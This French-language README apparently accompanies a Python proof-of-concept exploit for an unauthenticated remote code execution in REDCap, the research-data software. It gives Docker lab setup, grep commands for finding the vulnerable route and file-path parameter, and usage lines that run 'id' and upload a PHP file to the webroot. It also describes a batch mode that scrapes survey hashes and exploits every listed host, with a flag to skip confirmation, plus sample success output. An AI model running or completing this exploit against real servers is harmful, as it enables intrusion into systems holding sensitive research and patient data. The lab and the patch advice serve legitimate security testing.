
PoC Python pour CVE-2026-90817, une RCE non authentifiée dans REDCap via le routage passthrough des enquêtes et l'injection de chemin de fichier, avec un lab Docker et des cibles protégées par liste d'autorisation.
| Champ | Valeur |
|---|
| CVE | CVE-2026-90817 |
| Produit | Vanderbilt University REDCap |
| CVSS | 9.8 Critique |
| Auth | Non authentifiée (nécessite un hash de sondage public valide) |
| Affecté | REDCap 13.3.0 et supérieur |
| Corrigé | 16.0.49 LTS, 17.3.10 LTS, 17.4.4 Standard Release |
| CWE | CWE-73 (Contrôle externe du nom de fichier ou du chemin), CWE-94 (Injection de code) |
Chaîne d'attaque :
CVE-2026-90817/
├── poc_cve_2026_90817.py # PoC (cible unique, protégé par liste d'autorisation)
├── docker-compose.yml # Pile de labo MySQL + PHP-Apache
├── redcap-init/
│ ├── database.php # Configuration de la base REDCap pour le labo
│ └── php.ini # Paramètres PHP pour le labo
├── redcap-src/ # <-- extraire la source REDCap ici (à votre charge)
├── targets.txt # Cibles autorisées : un hôte par ligne
├── payload.txt # Fichier d'exemple pour le mode upload
├── requirements.txt # Dépendances Python
└── poc_results.txt # Généré après l'exécution du PoC
REDCap est un logiciel sous licence. Vous devez l'obtenir via les canaux officiels pour votre propre labo.
mkdir -p redcap-src
# Extract your redcap.zip contents into redcap-src/
# The directory should contain index.php, redcap_vX.X.X/, etc.
docker compose up -d
Attendez que le healthcheck MySQL passe, puis ouvrez :
http://localhost:8080
Terminez l'assistant d'installation REDCap en utilisant ces paramètres de base de données (préconfigurés dans redcap-init/database.php) :
| Paramètre | Valeur |
|---|---|
| Host | db |
| Database | redcap |
| User | redcap |
| Password | redcap123 |
s=).Exemple d'URL de sondage :
http://localhost:8080/surveys/?s=ABC123XYZ
Hash du sondage : ABC123XYZ
L'avis public ne divulgue pas la route de contrôleur ni le nom de paramètre exacts. Après avoir configuré votre labo, effectuez de la RE sur redcap-src/ et remplissez les constantes TODO dans poc_cve_2026_90817.py :
VULNERABLE_ROUTE = "TODO_CONTROLLER_ROUTE" # controller route via survey passthrough
FILE_PATH_PARAM = "TODO_FILE_PATH_PARAM" # file-path/stream parameter name
WEBROOT_PATH = "/var/www/html/redcap/" # webroot inside container
UPLOADER_NAME = "x.php" # PHP uploader filename
Recherchez le routage passthrough des sondages :
grep -rn "passthrough\|survey.*route\|Routes::" redcap-src/ --include="*.php" | head -50
grep -rn "Controller" redcap-src/ --include="*.php" | grep -i "import\|survey" | head -50
Recherchez la gestion du chemin de fichier/flux de l'import de données :
grep -rn "file_path\|file-path\|stream\|DataImport\|data_import" redcap-src/ --include="*.php" | head -50
grep -rn "fopen\|file_get_contents\|include\|require" redcap-src/ --include="*.php" | grep -i "import" | head -50
Définissez STAGE1_SUCCESS_MARKER sur une chaîne présente dans une réponse réussie de l'étape 1 (optionnel mais recommandé).
pip install -r requirements.txt
Le script refuse les cibles qui ne sont ni des hôtes de labo (localhost, 127.0.0.1, ::1, *.local, *.test, *.localhost) ni listées dans targets.txt.
CVE-2026-90817 est non authentifiée — aucune connexion n'est nécessaire. La seule précondition est un hash de sondage public valide (depuis l'URL de sondage ?s=HASH).
L'outil peut découvrir automatiquement le hash de sondage en scrapant les pages publiques de la cible (au mieux). Il vérifie les endpoints REDCap courants (/, /redcap/, /index.php, /surveys/) pour des liens /surveys/?s=HASH. Cela ne fonctionne que si la cible expose publiquement des liens de sondage (mauvaise configuration). Pour les instances REDCap correctement configurées, fournissez le hash manuellement via --hash.
--hash est optionnel (découverte automatique si omis)Pour les cibles hors labo, créez targets.txt avec un hôte par ligne (FQDN ou IP). Vous êtes responsable de l'autorisation légale de chaque hôte listé.
# targets.txt
redcap.client.example.com
10.0.0.5
192.168.1.100
Cible de labo avec hash explicite :
python poc_cve_2026_90817.py \
--target http://localhost:8080 \
--hash ABC123XYZ \
--mode both \
--out poc_results.txt
Cible de labo avec hash découvert automatiquement :
python poc_cve_2026_90817.py \
--target http://localhost:8080 \
--mode both \
--out poc_results.txt
Ajoutez --batch pour exploiter automatiquement chaque hôte listé dans targets.txt. L'outil découvre automatiquement le hash de sondage par cible en scrapant les pages publiques. L'outil affiche toutes les cibles et demande confirmation avant de commencer (utilisez --yes pour ignorer l'invite en scripting).
python poc_cve_2026_90817.py \
--batch \
--mode both \
--out poc_results.txt
Le port est hérité de --target (par défaut 8080). Pour utiliser un port différent, définissez --target http://placeholder:443/ avant --batch.
Le résultat de chaque cible est ajouté au fichier de sortie. Un résumé est affiché à la fin : N success, M failed, T total.
| Argument | Défaut | Description |
|---|---|---|
--target | http://localhost:8080 | URL de base de la cible |
--hash | (optionnel) | Hash de sondage public. Si omis, découvert automatiquement en scrapant les pages publiques (au mieux). |
--allowlist | targets.txt | Fichier de cibles, un hôte par ligne |
--batch | off | Itérer sur tous les hôtes du fichier de cibles et exploiter chacun |
--yes | off | Ignorer l'invite de confirmation du batch |
--mode | both | id, upload, ou both |
--out | poc_results.txt | Fichier de log des résultats |
--timeout | 30 | Timeout HTTP (secondes) |
--upload-local | payload.txt | Fichier local à uploader |
--upload-remote | uploaded_payload.txt | Nom de fichier distant sous le webroot |
--skip-placeholder-check | off | Exécution à blanc du flux HTTP sans constantes TODO remplies |
Remarque : la découverte automatique ne fonctionne que sur les cibles qui exposent publiquement des liens de sondage. Pour la plupart des instances REDCap, fournissez --hash manuellement.
En cas de succès, stdout affiche :
[0xNuts] CVE-2026-90817 PoC -- AUTHORIZED USE ONLY
[0xNuts] You are responsible for legal authorization of every target.
[0xNuts] Using survey hash: ABC123XYZ
[0xNuts] Stage 1: route manipulation -> ...
[0xNuts] Stage 2: file-path injection -> ...
[0xNuts] id output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[0xNuts] uploaded to /var/www/html/redcap/uploaded_payload.txt
[0xNuts] Result logged to poc_results.txt
Les résultats sont ajoutés à poc_results.txt :
[2026-09-21T03:20:00Z]
target=http://localhost:8080/
survey_hash=ABC123XYZ
status=success
id_output=uid=33(www-data) gid=33(www-data) groups=33(www-data)
uploaded_files=/var/www/html/redcap/uploaded_payload.txt
notes=mode=both
------------------------------------------------------------
Mettez à niveau vers REDCap 16.0.49 LTS, 17.3.10 LTS, ou 17.4.4 Standard Release (selon le cas).
Durcissement supplémentaire :